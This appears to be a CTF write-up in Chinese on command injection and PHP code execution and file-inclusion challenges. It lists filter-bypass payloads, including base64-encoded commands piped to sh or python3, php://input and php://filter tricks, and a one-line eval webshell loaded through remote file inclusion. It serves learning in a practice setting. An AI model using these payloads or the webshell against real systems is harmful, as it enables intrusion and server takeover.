CTF_Show_RCE技能树

RCE总结

命令注入

命令分割符号:

1
2
3
4
5
6
7
8
9
10
11
12
linux:
-%0a(回车) %0d(换行)
-;
-&
-|
-&&
-||
Windows:
-%0a
-&
-|
-%1a(作为.bat文件中的命令分隔符)

绕过

  • **cat**:用ca\tor 定义表达式
  • **空格**:用$IFS$1、大括号扩展{cat,flag.php}cat<flag.phpcat<>
    • 1{cat,flag.php}大括号扩展:生成一个逗号分割的字符串集合
    • 会分别执行 cat flag.php
    • 2cat${IFS}flag.php内部字段分隔符 IFS:相当于空格、制表、换行
    • 3cat$IFS$9flag.php$9 是第 9 个参数
      • 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
    • 4cat<flag.phpflag.php 重定向为 cat 的输入
    • 5cat<>flag.php读取并写入 flag.php
      • 其实等于 4,读取再写入
    • 6kg=$'\x20flag.php'&&cat$kg定义kg=$'\x20flag.php'其中 \x20 是 ASCII 中的空格
      • 直接定义访问了
    • 7a=c;b=at;c=flag.php;$a$b $c定义表达式访问
      • a=ca;b=$'t\x20';c=flag.php;$a$b$c也可以
    • 8b=ag;a=fl;cat$IFS$1$a$b.php定义表达式+内部字段分割符
    • 9echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
      • 用 echo 输出 base64 编码的cat flag管道到 base64 解密,然后管道到 sh 中执行
    • 10echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash只是把执行换位了 bash
    • 11echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3用的 python 来执行
      • import os
      • print(os.system('cat flag.php'))
  • **最好用的是定义表达式**:
    • 比如正常的cat flag.php
    • ;a=fl;b=ag.php;cat$IFS$1$a$b

RCE_文件包含

技能树连接

ctf_show 的 RCE 的技能树

代码执行&命令执行

代码执行&命令执行参考文档

特别注意:<font style="color:rgb(0, 0, 0);">$_REQUEST</font>是一个包含了$_GET$_POST$_COOKIE数据的超级全局变量

题目:eval执行(代码执行)

ctf_show 题目

一道基础题,但是有一个点需要注意的

1
2
3
4
5
6
7
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>

直接把 cmd 传参的内容当作 eval 的 php 代码执行

?cmd=system("ls /");

?cmd=system("cat /flag_7373")

一个需要注意的点

对于以下的代码都是可以的,只要在命令的部分没有空格(空格会被url编码%20,在浏览器传输到后端后会自动解码一次)

1
?cmd=system(ls); ?cmd=system(pwd); ?cmd=system(whoami);

但是一旦有了空格,就执行不成功?cmd=system(ls /);而需要加上引号?cmd=system("ls /");

题目:文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

文件如下,有 eval 代码执行

可以用 get、post、cookie 传参

get 传参?file=shell.txt&ctfhub=system("cat /flag");

post 传参

cookie 传参,这里 cookie 传参没有成功(猜测 Cookie 的逻辑没有写在服务器代码里,不知道,乱猜的)

传参方式 get/post/cookie

get?para1=xxx&para2=xxx

post

1
2
3
4
5
6
POST /api/submit HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [根据实际内容长度填写]

username=John&password=123456&email=john@example.com

Cookie(多个参数用;分割,注意 Cookie 后的空格和分号后的空格分割)

1
2
3
GET /api HTTP/1.1
Host: example.com
Cookie: user_id=123; username=John; role=admin

题目:php://input

  • php://input 的作用
    • 可用于查看源码,同时是要查看未压缩文件的只读流
    • 在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
      • 条件:allow_url_fopen=off/on;allow_url_include=on。

php://input 代码执行风险

寻找目录

查看 flag

1
2
/?file=php://input
<?php system(""cat /flag_20902);?>

题目:读取源代码

给了文件路径

可以直接读文件

1
2
/?file=php://filter/read=convert.base64-encode/resource=/flag
/?file=php://filter/read/resource=/flag不加密读

题目:远程包含

可以直接包含远程文件,测试包含百度

包含自己博客

一句话木马

1
2
3
4
5
6
<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
echo '123123';
?>

服务器开启 http 服务器python3 -m http.server 8888

直接包含

蚂蚁连接

虚拟终端,查找 flag

远程allow_url_fopen/include

  • allow_url_fopen 允许 url 的方式打开文件
    • file_get_contents()fopenphp://input
  • allow_url_include允许远程文件包含(远程服务器文件)
    • includerequireinclude_oncerequire_once

RCE_命令注入

题目:命令注入(exec 命令执行)

  • |是管道符,前一个命令输出,作为后一个命令输入
    • 前一个命令对后一个命令如果没有有效的输入:会直接执行后一个命令
  • ;是直接分割命令,顺序执行这些命令
    • ;不管前一个是否执行成功,都会执行后一个
  • &&是前一个执行成功,再执行后一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}"; // 发送4个包
exec($cmd, $res); // 执行命令,返回结果给res
}

?>

<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET"> <!--#设置表单数据提交的URL为本页面-->
<label for="ip">IP : </label><br> <!--标签IP关联到id值为id,可以点击IP跳转到输入框-->
<input type="text" id="ip" name="ip"> <!--设置输入文本框-->
<input type="submit" value="Ping"> <!--提交按钮-->
</form>

<hr>

<pre> <!--展示ping命令的结果-->
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

exec 函数

展示:exec 执行结果返回给$res,然后展示在页面上(print_r 格式化输出)

  • 使用管道符**<font style="color:#DF2A3F;"> | </font>**连接多个命令
    • 前一个命令的输出,作为下一个命令的输入
    • 但是:因为 ping 不会产生有效输出——就会直接中断 ping 的执行然后
      • ls 命令就会直接执行

直接 cat 看不 flagwww.baidu.com|cat 14645300762206.php

但是 F12 查看源代码可以看到

尝试 base64 编码www.baidu.com|cat 14645300762206.php|base64

直接;cat 14645300762206.php|base64也可以

题目:禁用 cat

less(更多交互)、more(只允许向后)、tac(最后一行开始反向显示)、ca\t(被解析为 cat+\t 制表符)

;ca\t flag_18071273756181.php|base64然后解码

;ca\t flag_18071273756181.php然后查看源代码

题目:禁用空格

思路

1
2
3
4
5
6
7
8
9
10
11
{cat,flag.php}  
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
  • 1{cat,flag.php}大括号扩展:生成一个逗号分割的字符串集合
    • 会分别执行 cat flag.php
  • 2cat${IFS}flag.php内部字段分隔符 IFS:相当于空格、制表、换行
  • 3cat$IFS$9flag.php$9 是第 9 个参数
    • 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
  • 4cat<flag.phpflag.php 重定向为 cat 的输入
  • 5cat<>flag.php读取并写入 flag.php
    • 其实等于 4,读取再写入
  • 6kg=$'\x20flag.php'&&cat$kg定义kg=$'\x20flag.php'其中 \x20 是 ASCII 中的空格
    • 直接定义访问了
  • 7a=c;b=at;c=flag.php;$a$b $c定义表达式访问
    • a=ca;b=$'t\x20';c=flag.php;$a$b$c也可以
  • 8b=ag;a=fl;cat$IFS$1$a$b.php定义表达式+内部字段分割符
  • 9echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    • 用 echo 输出 base64 编码的cat flag管道到 base64 解密,然后管道到 sh 中执行
  • 10echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash只是把执行换位了 bash
  • 11echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3用的 python 来执行
    • import os
    • print(os.system('cat flag.php'))

注意:$IFS$1就可以理解为一个空格

$IFS$绕过

先寻找 flag 在哪里;ls$IFS$1/

直接查看 flag;cat$IFS$1flag_151002790815863.php,查看源代码就可以看到

也可以编码后输出;cat$IFS$1flag_151002790815863.php|base64

ASCII 编码绕过 \x20

;a=$'\x20flag_151002790815863.php'&&cat$a

定义表达式绕过

;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c

;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c|base64

加密绕过

cat flag_151002790815863.php编码Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==

直接;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh

查看源代码即可

也可以编码后输出

;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh|base64

使用 python(python 没有成功,是不是题目环境没有 python3?)

1
2
3
4
import os
print(os.system('cat flag_151002790815863.php'))
编码后
aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocCcpKQ==

payload 如下

;echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocCcpKQ==|base64$IFS$1-d|python3

题目:过滤’/‘

1
if (!preg_match_all("/\//", $ip, $m)) 

查看当前目录下:有一个新多出来的目录

进入目录并查看;cd flag_is_here;ls

;cd flag_is_here;cat flag_256382751229052.php|base64

题目:过滤’|| 和&’

正则"/(\||\&)/":匹配|或者&(中间那个|是或者符)

直接分号就行了;cat flag_138181990221028.php

组合过滤(前面所有)

  • 过滤了的东西:

    • |``&``;`` (空格)/``cat``flag``ctfhub
  • 在 Windows 和 linux 中%0a(回车)都可以作为命令分隔符使用

  • **特别注意:**在这里的数据流向

    • 用户在输入框输入的表单数据——会用 GET 方式传递到浏览器 URL 中
    • 浏览器会被 URL 中的特殊字符 url 编码一次——传递到后端
    • 后端获取后会被解码
  • **因此:**在这里输入框如果输入%0a会被浏览器编码一次

    • %会被编码为%25,加上0a就是%250a,在后端解析后就不是我们预期的
  • 所以:

    • 这里应该直接在 url 中输入,而不是在输入框输入
    • 也可以在

查看当前目录%0als

  • 进入到 flag 的目录%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0als
    • 这里是用的%0a分割
    • 然后表达式定义
    • $IFS$1作空格

  • 查看 flag
    • 前面的命令是%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0a
    • 在后面加上查看 flag 的命令
      • cat 也被过滤了直接用ca\t制表符绕过(也可以定义表达式)
      • flag 文件名:c=fl%0ad=ag_1490190811343.php
      • 就应该是c=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d
  • 拼接起来就是如下

%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d

一发入魂,拿下!(查看源代码即可)

可以直接 base64,不用 cat

%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0abase64$IFS$1$c$d